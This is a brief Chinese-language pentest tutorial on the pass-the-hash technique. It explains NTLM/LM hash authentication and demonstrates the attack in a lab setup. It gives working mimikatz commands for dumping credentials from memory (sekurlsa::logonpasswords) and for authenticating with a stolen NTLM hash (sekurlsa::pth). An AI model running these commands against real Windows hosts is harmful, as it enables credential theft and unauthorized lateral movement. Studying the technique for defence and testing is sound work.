PTH (pass-the-hash)
pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
pass the hash原理:
在Windows系统中,通常会使用NTLM身份认证
NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
域/工作组环境
可以获得hash,但是条件不允许对hash爆破
内网中存在和当前机器相同的密码
此处用mimikatz示范
攻击机win7
靶机win 2K3
1)现在靶机上用mimikatz抓取ntlm hash
提升权限(privilege::debug),抓取hash(sekurlsa::logonpasswords)
2)在攻击机执行
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
3)验证
###此外还可以使用wmiexec,CrackMapExec等,不在演示。
tips
mimikatz某些时候不能复制,可以使用log的方式,例:
mimikatz log "sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4"
借鉴:https://www.cnblogs.com/bmjoker/p/10355979.html#autoid-1-2-0